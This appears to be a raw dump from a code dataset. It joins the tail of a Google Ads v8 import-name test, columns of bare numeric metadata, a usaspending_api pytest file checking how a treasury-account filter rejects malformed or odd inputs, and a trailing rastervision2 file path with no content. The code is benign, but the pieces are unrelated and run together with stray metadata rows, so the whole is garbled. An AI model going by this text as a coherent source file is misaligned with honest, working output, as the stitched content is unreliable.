BiddingStrategySimulationServiceTransport expected_names.append(BiddingStrategySimulationServiceTransport.__name__) from google.ads.googleads.v8 import BiddingStrategySimulationServiceGrpcTransport expected_names.append(BiddingStrategySimulationServiceGrpcTransport.__name__) from google.ads.googleads.v8 import BatchJobServiceClient expected_names.append(BatchJobServiceClient.__name__) from google.ads.googleads.v8 import BatchJobServiceTransport expected_names.append(BatchJobServiceTransport.__name__) from google.ads.googleads.v8 import BatchJobServiceGrpcTransport expected_names.append(BatchJobServiceGrpcTransport.__name__) from google.ads.googleads.v8 import GoogleAdsServiceClient expected_names.append(GoogleAdsServiceClient.__name__) from google.ads.googleads.v8 import GoogleAdsServiceTransport expected_names.append(GoogleAdsServiceTransport.__name__) from google.ads.googleads.v8 import GoogleAdsServiceGrpcTransport expected_names.append(GoogleAdsServiceGrpcTransport.__name__) from google.ads.googleads.v8 import UserListServiceClient expected_names.append(UserListServiceClient.__name__) from google.ads.googleads.v8 import UserListServiceTransport expected_names.append(UserListServiceTransport.__name__) from google.ads.googleads.v8 import UserListServiceGrpcTransport expected_names.append(UserListServiceGrpcTransport.__name__) from google.ads.googleads.v8 import SmartCampaignSettingServiceClient expected_names.append(SmartCampaignSettingServiceClient.__name__) from google.ads.googleads.v8 import SmartCampaignSettingServiceTransport expected_names.append(SmartCampaignSettingServiceTransport.__name__) from google.ads.googleads.v8 import SmartCampaignSettingServiceGrpcTransport expected_names.append(SmartCampaignSettingServiceGrpcTransport.__name__) from google.ads.googleads.v8 import SharedSetServiceClient expected_names.append(SharedSetServiceClient.__name__) from google.ads.googleads.v8 import SharedSetServiceTransport expected_names.append(SharedSetServiceTransport.__name__) from google.ads.googleads.v8 import SharedSetServiceGrpcTransport expected_names.append(SharedSetServiceGrpcTransport.__name__) from google.ads.googleads.v8 import SharedCriterionServiceClient expected_names.append(SharedCriterionServiceClient.__name__) from google.ads.googleads.v8 import SharedCriterionServiceTransport expected_names.append(SharedCriterionServiceTransport.__name__) from google.ads.googleads.v8 import SharedCriterionServiceGrpcTransport expected_names.append(SharedCriterionServiceGrpcTransport.__name__) from google.ads.googleads.v8 import RemarketingActionServiceClient expected_names.append(RemarketingActionServiceClient.__name__) from google.ads.googleads.v8 import RemarketingActionServiceTransport expected_names.append(RemarketingActionServiceTransport.__name__) from google.ads.googleads.v8 import RemarketingActionServiceGrpcTransport expected_names.append(RemarketingActionServiceGrpcTransport.__name__) from google.ads.googleads.v8 import MediaFileServiceClient expected_names.append(MediaFileServiceClient.__name__) from google.ads.googleads.v8 import MediaFileServiceTransport expected_names.append(MediaFileServiceTransport.__name__) from google.ads.googleads.v8 import MediaFileServiceGrpcTransport expected_names.append(MediaFileServiceGrpcTransport.__name__) from google.ads.googleads.v8 import LabelServiceClient expected_names.append(LabelServiceClient.__name__) from google.ads.googleads.v8 import LabelServiceTransport expected_names.append(LabelServiceTransport.__name__) from google.ads.googleads.v8 import LabelServiceGrpcTransport expected_names.append(LabelServiceGrpcTransport.__name__) from google.ads.googleads.v8 import KeywordPlanServiceClient expected_names.append(KeywordPlanServiceClient.__name__) from google.ads.googleads.v8 import KeywordPlanServiceTransport expected_names.append(KeywordPlanServiceTransport.__name__) from google.ads.googleads.v8 import KeywordPlanServiceGrpcTransport expected_names.append(KeywordPlanServiceGrpcTransport.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignServiceClient expected_names.append(KeywordPlanCampaignServiceClient.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignServiceTransport expected_names.append(KeywordPlanCampaignServiceTransport.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignServiceGrpcTransport expected_names.append(KeywordPlanCampaignServiceGrpcTransport.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignKeywordServiceClient expected_names.append(KeywordPlanCampaignKeywordServiceClient.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignKeywordServiceTransport expected_names.append(KeywordPlanCampaignKeywordServiceTransport.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignKeywordServiceGrpcTransport expected_names.append(KeywordPlanCampaignKeywordServiceGrpcTransport.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupServiceClient expected_names.append(KeywordPlanAdGroupServiceClient.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupServiceTransport expected_names.append(KeywordPlanAdGroupServiceTransport.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupServiceGrpcTransport expected_names.append(KeywordPlanAdGroupServiceGrpcTransport.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupKeywordServiceClient expected_names.append(KeywordPlanAdGroupKeywordServiceClient.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupKeywordServiceTransport expected_names.append(KeywordPlanAdGroupKeywordServiceTransport.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupKeywordServiceGrpcTransport expected_names.append(KeywordPlanAdGroupKeywordServiceGrpcTransport.__name__) from google.ads.googleads.v8 import FeedServiceClient expected_names.append(FeedServiceClient.__name__) from google.ads.googleads.v8 import FeedServiceTransport expected_names.append(FeedServiceTransport.__name__) from google.ads.googleads.v8 import FeedServiceGrpcTransport expected_names.append(FeedServiceGrpcTransport.__name__) from google.ads.googleads.v8 import FeedMappingServiceClient expected_names.append(FeedMappingServiceClient.__name__) from google.ads.googleads.v8 import FeedMappingServiceTransport expected_names.append(FeedMappingServiceTransport.__name__) from google.ads.googleads.v8 import FeedMappingServiceGrpcTransport expected_names.append(FeedMappingServiceGrpcTransport.__name__) from google.ads.googleads.v8 import FeedItemTargetServiceClient expected_names.append(FeedItemTargetServiceClient.__name__) from google.ads.googleads.v8 import FeedItemTargetServiceTransport expected_names.append(FeedItemTargetServiceTransport.__name__) from google.ads.googleads.v8 import FeedItemTargetServiceGrpcTransport expected_names.append(FeedItemTargetServiceGrpcTransport.__name__) from google.ads.googleads.v8 import FeedItemSetServiceClient expected_names.append(FeedItemSetServiceClient.__name__) from google.ads.googleads.v8 import FeedItemSetServiceTransport expected_names.append(FeedItemSetServiceTransport.__name__) from google.ads.googleads.v8 import FeedItemSetServiceGrpcTransport expected_names.append(FeedItemSetServiceGrpcTransport.__name__) from google.ads.googleads.v8 import FeedItemSetLinkServiceClient expected_names.append(FeedItemSetLinkServiceClient.__name__) from google.ads.googleads.v8 import FeedItemSetLinkServiceTransport expected_names.append(FeedItemSetLinkServiceTransport.__name__) from google.ads.googleads.v8 import FeedItemSetLinkServiceGrpcTransport expected_names.append(FeedItemSetLinkServiceGrpcTransport.__name__) from google.ads.googleads.v8 import FeedItemServiceClient expected_names.append(FeedItemServiceClient.__name__) from google.ads.googleads.v8 import FeedItemServiceTransport expected_names.append(FeedItemServiceTransport.__name__) from google.ads.googleads.v8 import FeedItemServiceGrpcTransport expected_names.append(FeedItemServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ExtensionFeedItemServiceClient expected_names.append(ExtensionFeedItemServiceClient.__name__) from google.ads.googleads.v8 import ExtensionFeedItemServiceTransport expected_names.append(ExtensionFeedItemServiceTransport.__name__) from google.ads.googleads.v8 import ExtensionFeedItemServiceGrpcTransport expected_names.append(ExtensionFeedItemServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomerServiceClient expected_names.append(CustomerServiceClient.__name__) from google.ads.googleads.v8 import CustomerServiceTransport expected_names.append(CustomerServiceTransport.__name__) from google.ads.googleads.v8 import CustomerServiceGrpcTransport expected_names.append(CustomerServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomerNegativeCriterionServiceClient expected_names.append(CustomerNegativeCriterionServiceClient.__name__) from google.ads.googleads.v8 import CustomerNegativeCriterionServiceTransport expected_names.append(CustomerNegativeCriterionServiceTransport.__name__) from google.ads.googleads.v8 import CustomerNegativeCriterionServiceGrpcTransport expected_names.append(CustomerNegativeCriterionServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomerLabelServiceClient expected_names.append(CustomerLabelServiceClient.__name__) from google.ads.googleads.v8 import CustomerLabelServiceTransport expected_names.append(CustomerLabelServiceTransport.__name__) from google.ads.googleads.v8 import CustomerLabelServiceGrpcTransport expected_names.append(CustomerLabelServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomerFeedServiceClient expected_names.append(CustomerFeedServiceClient.__name__) from google.ads.googleads.v8 import CustomerFeedServiceTransport expected_names.append(CustomerFeedServiceTransport.__name__) from google.ads.googleads.v8 import CustomerFeedServiceGrpcTransport expected_names.append(CustomerFeedServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomerExtensionSettingServiceClient expected_names.append(CustomerExtensionSettingServiceClient.__name__) from google.ads.googleads.v8 import CustomerExtensionSettingServiceTransport expected_names.append(CustomerExtensionSettingServiceTransport.__name__) from google.ads.googleads.v8 import CustomerExtensionSettingServiceGrpcTransport expected_names.append(CustomerExtensionSettingServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomerAssetServiceClient expected_names.append(CustomerAssetServiceClient.__name__) from google.ads.googleads.v8 import CustomerAssetServiceTransport expected_names.append(CustomerAssetServiceTransport.__name__) from google.ads.googleads.v8 import CustomerAssetServiceGrpcTransport expected_names.append(CustomerAssetServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ConversionValueRuleSetServiceClient expected_names.append(ConversionValueRuleSetServiceClient.__name__) from google.ads.googleads.v8 import ConversionValueRuleSetServiceTransport expected_names.append(ConversionValueRuleSetServiceTransport.__name__) from google.ads.googleads.v8 import ConversionValueRuleSetServiceGrpcTransport expected_names.append(ConversionValueRuleSetServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ConversionValueRuleServiceClient expected_names.append(ConversionValueRuleServiceClient.__name__) from google.ads.googleads.v8 import ConversionValueRuleServiceTransport expected_names.append(ConversionValueRuleServiceTransport.__name__) from google.ads.googleads.v8 import ConversionValueRuleServiceGrpcTransport expected_names.append(ConversionValueRuleServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ConversionCustomVariableServiceClient expected_names.append(ConversionCustomVariableServiceClient.__name__) from google.ads.googleads.v8 import ConversionCustomVariableServiceTransport expected_names.append(ConversionCustomVariableServiceTransport.__name__) from google.ads.googleads.v8 import ConversionCustomVariableServiceGrpcTransport expected_names.append(ConversionCustomVariableServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ConversionActionServiceClient expected_names.append(ConversionActionServiceClient.__name__) from google.ads.googleads.v8 import ConversionActionServiceTransport expected_names.append(ConversionActionServiceTransport.__name__) from google.ads.googleads.v8 import ConversionActionServiceGrpcTransport expected_names.append(ConversionActionServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignSharedSetServiceClient expected_names.append(CampaignSharedSetServiceClient.__name__) from google.ads.googleads.v8 import CampaignSharedSetServiceTransport expected_names.append(CampaignSharedSetServiceTransport.__name__) from google.ads.googleads.v8 import CampaignSharedSetServiceGrpcTransport expected_names.append(CampaignSharedSetServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignServiceClient expected_names.append(CampaignServiceClient.__name__) from google.ads.googleads.v8 import CampaignServiceTransport expected_names.append(CampaignServiceTransport.__name__) from google.ads.googleads.v8 import CampaignServiceGrpcTransport expected_names.append(CampaignServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignLabelServiceClient expected_names.append(CampaignLabelServiceClient.__name__) from google.ads.googleads.v8 import CampaignLabelServiceTransport expected_names.append(CampaignLabelServiceTransport.__name__) from google.ads.googleads.v8 import CampaignLabelServiceGrpcTransport expected_names.append(CampaignLabelServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignFeedServiceClient expected_names.append(CampaignFeedServiceClient.__name__) from google.ads.googleads.v8 import CampaignFeedServiceTransport expected_names.append(CampaignFeedServiceTransport.__name__) from google.ads.googleads.v8 import CampaignFeedServiceGrpcTransport expected_names.append(CampaignFeedServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignExtensionSettingServiceClient expected_names.append(CampaignExtensionSettingServiceClient.__name__) from google.ads.googleads.v8 import CampaignExtensionSettingServiceTransport expected_names.append(CampaignExtensionSettingServiceTransport.__name__) from google.ads.googleads.v8 import CampaignExtensionSettingServiceGrpcTransport expected_names.append(CampaignExtensionSettingServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignExperimentServiceClient expected_names.append(CampaignExperimentServiceClient.__name__) from google.ads.googleads.v8 import CampaignExperimentServiceTransport expected_names.append(CampaignExperimentServiceTransport.__name__) from google.ads.googleads.v8 import CampaignExperimentServiceGrpcTransport expected_names.append(CampaignExperimentServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignDraftServiceClient expected_names.append(CampaignDraftServiceClient.__name__) from google.ads.googleads.v8 import CampaignDraftServiceTransport expected_names.append(CampaignDraftServiceTransport.__name__) from google.ads.googleads.v8 import CampaignDraftServiceGrpcTransport expected_names.append(CampaignDraftServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignCriterionServiceClient expected_names.append(CampaignCriterionServiceClient.__name__) from google.ads.googleads.v8 import CampaignCriterionServiceTransport expected_names.append(CampaignCriterionServiceTransport.__name__) from google.ads.googleads.v8 import CampaignCriterionServiceGrpcTransport expected_names.append(CampaignCriterionServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignBudgetServiceClient expected_names.append(CampaignBudgetServiceClient.__name__) from google.ads.googleads.v8 import CampaignBudgetServiceTransport expected_names.append(CampaignBudgetServiceTransport.__name__) from google.ads.googleads.v8 import CampaignBudgetServiceGrpcTransport expected_names.append(CampaignBudgetServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignBidModifierServiceClient expected_names.append(CampaignBidModifierServiceClient.__name__) from google.ads.googleads.v8 import CampaignBidModifierServiceTransport expected_names.append(CampaignBidModifierServiceTransport.__name__) from google.ads.googleads.v8 import CampaignBidModifierServiceGrpcTransport expected_names.append(CampaignBidModifierServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignAssetServiceClient expected_names.append(CampaignAssetServiceClient.__name__) from google.ads.googleads.v8 import CampaignAssetServiceTransport expected_names.append(CampaignAssetServiceTransport.__name__) from google.ads.googleads.v8 import CampaignAssetServiceGrpcTransport expected_names.append(CampaignAssetServiceGrpcTransport.__name__) from google.ads.googleads.v8 import BiddingStrategyServiceClient expected_names.append(BiddingStrategyServiceClient.__name__) from google.ads.googleads.v8 import BiddingStrategyServiceTransport expected_names.append(BiddingStrategyServiceTransport.__name__) from google.ads.googleads.v8 import BiddingStrategyServiceGrpcTransport expected_names.append(BiddingStrategyServiceGrpcTransport.__name__) from google.ads.googleads.v8 import BiddingSeasonalityAdjustmentServiceClient expected_names.append(BiddingSeasonalityAdjustmentServiceClient.__name__) from google.ads.googleads.v8 import BiddingSeasonalityAdjustmentServiceTransport expected_names.append(BiddingSeasonalityAdjustmentServiceTransport.__name__) from google.ads.googleads.v8 import BiddingSeasonalityAdjustmentServiceGrpcTransport expected_names.append(BiddingSeasonalityAdjustmentServiceGrpcTransport.__name__) from google.ads.googleads.v8 import BiddingDataExclusionServiceClient expected_names.append(BiddingDataExclusionServiceClient.__name__) from google.ads.googleads.v8 import BiddingDataExclusionServiceTransport expected_names.append(BiddingDataExclusionServiceTransport.__name__) from google.ads.googleads.v8 import BiddingDataExclusionServiceGrpcTransport expected_names.append(BiddingDataExclusionServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AssetServiceClient expected_names.append(AssetServiceClient.__name__) from google.ads.googleads.v8 import AssetServiceTransport expected_names.append(AssetServiceTransport.__name__) from google.ads.googleads.v8 import AssetServiceGrpcTransport expected_names.append(AssetServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AssetFieldTypeViewServiceClient expected_names.append(AssetFieldTypeViewServiceClient.__name__) from google.ads.googleads.v8 import AssetFieldTypeViewServiceTransport expected_names.append(AssetFieldTypeViewServiceTransport.__name__) from google.ads.googleads.v8 import AssetFieldTypeViewServiceGrpcTransport expected_names.append(AssetFieldTypeViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AgeRangeViewServiceClient expected_names.append(AgeRangeViewServiceClient.__name__) from google.ads.googleads.v8 import AgeRangeViewServiceTransport expected_names.append(AgeRangeViewServiceTransport.__name__) from google.ads.googleads.v8 import AgeRangeViewServiceGrpcTransport expected_names.append(AgeRangeViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdServiceClient expected_names.append(AdServiceClient.__name__) from google.ads.googleads.v8 import AdServiceTransport expected_names.append(AdServiceTransport.__name__) from google.ads.googleads.v8 import AdServiceGrpcTransport expected_names.append(AdServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdScheduleViewServiceClient expected_names.append(AdScheduleViewServiceClient.__name__) from google.ads.googleads.v8 import AdScheduleViewServiceTransport expected_names.append(AdScheduleViewServiceTransport.__name__) from google.ads.googleads.v8 import AdScheduleViewServiceGrpcTransport expected_names.append(AdScheduleViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdParameterServiceClient expected_names.append(AdParameterServiceClient.__name__) from google.ads.googleads.v8 import AdParameterServiceTransport expected_names.append(AdParameterServiceTransport.__name__) from google.ads.googleads.v8 import AdParameterServiceGrpcTransport expected_names.append(AdParameterServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupSimulationServiceClient expected_names.append(AdGroupSimulationServiceClient.__name__) from google.ads.googleads.v8 import AdGroupSimulationServiceTransport expected_names.append(AdGroupSimulationServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupSimulationServiceGrpcTransport expected_names.append(AdGroupSimulationServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupServiceClient expected_names.append(AdGroupServiceClient.__name__) from google.ads.googleads.v8 import AdGroupServiceTransport expected_names.append(AdGroupServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupServiceGrpcTransport expected_names.append(AdGroupServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupLabelServiceClient expected_names.append(AdGroupLabelServiceClient.__name__) from google.ads.googleads.v8 import AdGroupLabelServiceTransport expected_names.append(AdGroupLabelServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupLabelServiceGrpcTransport expected_names.append(AdGroupLabelServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupFeedServiceClient expected_names.append(AdGroupFeedServiceClient.__name__) from google.ads.googleads.v8 import AdGroupFeedServiceTransport expected_names.append(AdGroupFeedServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupFeedServiceGrpcTransport expected_names.append(AdGroupFeedServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupExtensionSettingServiceClient expected_names.append(AdGroupExtensionSettingServiceClient.__name__) from google.ads.googleads.v8 import AdGroupExtensionSettingServiceTransport expected_names.append(AdGroupExtensionSettingServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupExtensionSettingServiceGrpcTransport expected_names.append(AdGroupExtensionSettingServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupCriterionSimulationServiceClient expected_names.append(AdGroupCriterionSimulationServiceClient.__name__) from google.ads.googleads.v8 import AdGroupCriterionSimulationServiceTransport expected_names.append(AdGroupCriterionSimulationServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupCriterionSimulationServiceGrpcTransport expected_names.append(AdGroupCriterionSimulationServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupCriterionServiceClient expected_names.append(AdGroupCriterionServiceClient.__name__) from google.ads.googleads.v8 import AdGroupCriterionServiceTransport expected_names.append(AdGroupCriterionServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupCriterionServiceGrpcTransport expected_names.append(AdGroupCriterionServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupCriterionLabelServiceClient expected_names.append(AdGroupCriterionLabelServiceClient.__name__) from google.ads.googleads.v8 import AdGroupCriterionLabelServiceTransport expected_names.append(AdGroupCriterionLabelServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupCriterionLabelServiceGrpcTransport expected_names.append(AdGroupCriterionLabelServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupBidModifierServiceClient expected_names.append(AdGroupBidModifierServiceClient.__name__) from google.ads.googleads.v8 import AdGroupBidModifierServiceTransport expected_names.append(AdGroupBidModifierServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupBidModifierServiceGrpcTransport expected_names.append(AdGroupBidModifierServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupAudienceViewServiceClient expected_names.append(AdGroupAudienceViewServiceClient.__name__) from google.ads.googleads.v8 import AdGroupAudienceViewServiceTransport expected_names.append(AdGroupAudienceViewServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupAudienceViewServiceGrpcTransport expected_names.append(AdGroupAudienceViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupAssetServiceClient expected_names.append(AdGroupAssetServiceClient.__name__) from google.ads.googleads.v8 import AdGroupAssetServiceTransport expected_names.append(AdGroupAssetServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupAssetServiceGrpcTransport expected_names.append(AdGroupAssetServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupAdServiceClient expected_names.append(AdGroupAdServiceClient.__name__) from google.ads.googleads.v8 import AdGroupAdServiceTransport expected_names.append(AdGroupAdServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupAdServiceGrpcTransport expected_names.append(AdGroupAdServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupAdLabelServiceClient expected_names.append(AdGroupAdLabelServiceClient.__name__) from google.ads.googleads.v8 import AdGroupAdLabelServiceTransport expected_names.append(AdGroupAdLabelServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupAdLabelServiceGrpcTransport expected_names.append(AdGroupAdLabelServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AdGroupAdAssetViewServiceClient expected_names.append(AdGroupAdAssetViewServiceClient.__name__) from google.ads.googleads.v8 import AdGroupAdAssetViewServiceTransport expected_names.append(AdGroupAdAssetViewServiceTransport.__name__) from google.ads.googleads.v8 import AdGroupAdAssetViewServiceGrpcTransport expected_names.append(AdGroupAdAssetViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AccountLinkServiceClient expected_names.append(AccountLinkServiceClient.__name__) from google.ads.googleads.v8 import AccountLinkServiceTransport expected_names.append(AccountLinkServiceTransport.__name__) from google.ads.googleads.v8 import AccountLinkServiceGrpcTransport expected_names.append(AccountLinkServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AccountBudgetServiceClient expected_names.append(AccountBudgetServiceClient.__name__) from google.ads.googleads.v8 import AccountBudgetServiceTransport expected_names.append(AccountBudgetServiceTransport.__name__) from google.ads.googleads.v8 import AccountBudgetServiceGrpcTransport expected_names.append(AccountBudgetServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AccountBudgetProposalServiceClient expected_names.append(AccountBudgetProposalServiceClient.__name__) from google.ads.googleads.v8 import AccountBudgetProposalServiceTransport expected_names.append(AccountBudgetProposalServiceTransport.__name__) from google.ads.googleads.v8 import AccountBudgetProposalServiceGrpcTransport expected_names.append(AccountBudgetProposalServiceGrpcTransport.__name__) from google.ads.googleads.v8 import AccessibleBiddingStrategyServiceClient expected_names.append(AccessibleBiddingStrategyServiceClient.__name__) from google.ads.googleads.v8 import AccessibleBiddingStrategyServiceTransport expected_names.append(AccessibleBiddingStrategyServiceTransport.__name__) from google.ads.googleads.v8 import AccessibleBiddingStrategyServiceGrpcTransport expected_names.append(AccessibleBiddingStrategyServiceGrpcTransport.__name__) expected_names.sort() from google.ads.googleads import v8 actual_names = dir(v8) assert expected_names == actual_names # Verify the logic for handling non-existant names with pytest.raises(ImportError): from google.ads.googleads.v8 import GiantSquid
63.40203
96
0.846478
39,547
437,157
8.923989
0.045768
0.126273
0.1262
0.213506
0.998413
0.998354
0.99832
0.988635
0.988635
0.988635
0
0.004391
0.102414
437,157
6,894
97
63.411227
0.895022
0.001722
0
0.499927
0
0
0
0
0
0
0
0
0.000292
1
0.000292
false
0.005247
0.500073
0
0.500364
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
8
c3846c3a0b4f5a9354483d6a185586549464954f
4,167
py
Python
usaspending_api/search/tests/integration/hierarchical_filters/test_tas_filter_irregular_formats.py
g4brielvs/usaspending-api
bae7da2c204937ec1cdf75c052405b13145728d5
[ "CC0-1.0" ]
217
2016-11-03T17:09:53.000Z
2022-03-10T04:17:54.000Z
usaspending_api/search/tests/integration/hierarchical_filters/test_tas_filter_irregular_formats.py
g4brielvs/usaspending-api
bae7da2c204937ec1cdf75c052405b13145728d5
[ "CC0-1.0" ]
622
2016-09-02T19:18:23.000Z
2022-03-29T17:11:01.000Z
usaspending_api/search/tests/integration/hierarchical_filters/test_tas_filter_irregular_formats.py
g4brielvs/usaspending-api
bae7da2c204937ec1cdf75c052405b13145728d5
[ "CC0-1.0" ]
93
2016-09-07T20:28:57.000Z
2022-02-25T00:25:27.000Z
import pytest from rest_framework import status from usaspending_api.search.tests.integration.hierarchical_filters.tas_search_test_helpers import ( _setup_es, query_by_tas, query_by_treasury_account_components, ) from usaspending_api.search.tests.integration.hierarchical_filters.tas_fixtures import TAS_DICTIONARIES @pytest.mark.django_db def test_tas_filter_not_object_or_list(client, monkeypatch, elasticsearch_award_index, award_with_tas): _setup_es(client, monkeypatch, elasticsearch_award_index) resp = query_by_tas(client, "This shouldn't be a string") assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY, "Failed to return 422 Response" @pytest.mark.django_db def test_tas_unparsable_too_long(client, monkeypatch, elasticsearch_award_index, award_with_tas): _setup_es(client, monkeypatch, elasticsearch_award_index) resp = query_by_tas(client, {"require": [["011", "011-0990", "3-4-2-5-3/5-6-3-4"]]}) assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY, "Failed to return 422 Response" @pytest.mark.django_db def test_tas_unparsable_too_short(client, monkeypatch, elasticsearch_award_index, award_with_tas): _setup_es(client, monkeypatch, elasticsearch_award_index) resp = query_by_tas(client, {"require": [["011", "011-0990", "3-4-2"]]}) assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY, "Failed to return 422 Response" @pytest.mark.django_db def test_tas_unparsable_no_ata(client, monkeypatch, elasticsearch_award_index, award_with_tas): _setup_es(client, monkeypatch, elasticsearch_award_index) resp = query_by_tas(client, {"require": [["011", "011-0990", "2000/2000-0990-000"]]}) assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY, "Failed to return 422 Response" @pytest.mark.django_db def test_tas_unparsable_no_sub(client, monkeypatch, elasticsearch_award_index, award_with_tas): _setup_es(client, monkeypatch, elasticsearch_award_index) resp = query_by_tas(client, {"require": [["011", "011-0990", "011-2000/2000-0990"]]}) assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY, "Failed to return 422 Response" @pytest.mark.django_db def test_tas_unparsable_no_main(client, monkeypatch, elasticsearch_award_index, award_with_tas): _setup_es(client, monkeypatch, elasticsearch_award_index) resp = query_by_tas(client, {"require": [["011", "011-0990", "011-2000/2000-000"]]}) assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY, "Failed to return 422 Response" @pytest.mark.django_db def test_tas_filter_is_legacy(client, monkeypatch, elasticsearch_award_index, award_with_tas): _setup_es(client, monkeypatch, elasticsearch_award_index) resp = query_by_tas(client, [{"main": TAS_DICTIONARIES[0]["main"], "aid": TAS_DICTIONARIES[0]["aid"]}]) assert len(resp.json()["results"]) == 1 @pytest.mark.django_db def test_tas_filter_inappropriate_characters(client, monkeypatch, elasticsearch_award_index, award_with_tas): _setup_es(client, monkeypatch, elasticsearch_award_index) resp = query_by_tas(client, {"require": [["011", "[abc]"]]}) assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY, "Failed to return 422 Response" @pytest.mark.django_db def test_treasury_account_component_filter_appropriate_characters( client, monkeypatch, elasticsearch_award_index, award_with_tas ): _setup_es(client, monkeypatch, elasticsearch_award_index) # "R" doesn't represent anything special here, it just makes sure the code is ok with any capital letter resp = query_by_treasury_account_components(client, [{"a": "R"}], None) assert resp.status_code == status.HTTP_200_OK, "Failed to return 422 Response" @pytest.mark.django_db def test_treasury_account_component_filter_inappropriate_characters( client, monkeypatch, elasticsearch_award_index, award_with_tas ): _setup_es(client, monkeypatch, elasticsearch_award_index) resp = query_by_treasury_account_components(client, {"aid": "020", "main": "SELECT"}, None) assert resp.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY, "Failed to return 422 Response"
43.863158
109
0.784017
574
4,167
5.317073
0.186411
0.111402
0.196592
0.229358
0.874181
0.863696
0.863696
0.827326
0.805046
0.764417
0
0.045602
0.110631
4,167
94
110
44.329787
0.777928
0.024478
0
0.516129
0
0
0.124539
0
0
0
0
0
0.16129
1
0.16129
false
0
0.064516
0
0.225806
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
c3e8641e05402bd204618391ec868f521383eaf9
1,159
py
Python
rastervision2/core/evaluation/__init__.py
alexchunet/raster-vision
76e2965557fc8380e2ffc4aa7ab1f5dc45f79033
[ "Apache-2.0" ]
1
2020-05-27T07:07:58.000Z
2020-05-27T07:07:58.000Z
rastervision2/core/evaluation/__init__.py
alexchunet/raster-vision
76e2965557fc8380e2ffc4aa7ab1f5dc45f79033
[ "Apache-2.0" ]
null
null
null
rastervision2/core/evaluation/__init__.py
alexchunet/raster-vision
76e2965557fc8380e2ffc4aa7ab1f5dc45f79033
[ "Apache-2.0" ]
null
null
null
